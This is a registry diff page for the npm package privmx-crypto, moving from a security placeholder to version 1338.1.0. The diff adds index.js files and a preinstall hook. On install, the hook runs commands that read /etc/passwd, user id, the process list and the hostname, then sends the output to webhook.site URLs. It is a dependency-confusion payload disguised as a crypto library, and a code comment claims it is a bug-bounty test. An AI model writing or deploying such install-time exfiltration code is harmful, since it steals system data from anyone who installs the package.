privmx-crypto 0.0.1-security → 1338.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of privmx-crypto might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,12 @@
1
+ // this module is deployed to test dependency confusion on an hackerone public program!
2
+ const cp = require("child_process");
3
+
4
+ try{
5
+ const trackingData = JSON.stringify({
6
+ info: cp.execSync('cat /etc/passwd; id; ps -ef; ').toString()
7
+ });
8
+
9
+ fetch('https://webhook.site/7ea8e7ce-2e52-4207-9efc-998d37ae864d',{method:"POST",body:trackingData})
10
+ }catch(e){
11
+ fetch('https://webhook.site/7ea8e7ce-2e52-4207-9efc-998d37ae864d?didntwork=')
12
+ }
package/index.js.save ADDED
@@ -0,0 +1,13 @@
1
+ // this module is deployed to test dependency confusion on an hackerone public program!
2
+ const cp = require("child_process");
3
+
4
+ try{
5
+ const trackingData = JSON.stringify({
6
+ info: cp.execSync('cat /etc/passwd; id; ps -ef; ').toString()
7
+ });
8
+
9
+ fetch('https://webhook.site/75eaab10-b84b-4da8-be01-290b2da6a3f3',{method:"POST",body:trackingData})
10
+ }catch(e){
11
+ fetch('https://webhook.site/75eaab10-b84b-4da8-be01-290b2da6a3f3?downloaded')
12
+ fetch('https://webhook.site/75eaab10-b84b-4da8-be01-290b2da6a3f3?downloaded='+cp.execSync('hostname').toString())
13
+ }
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "privmx-crypto",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1338.1.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=privmx-crypto for more information.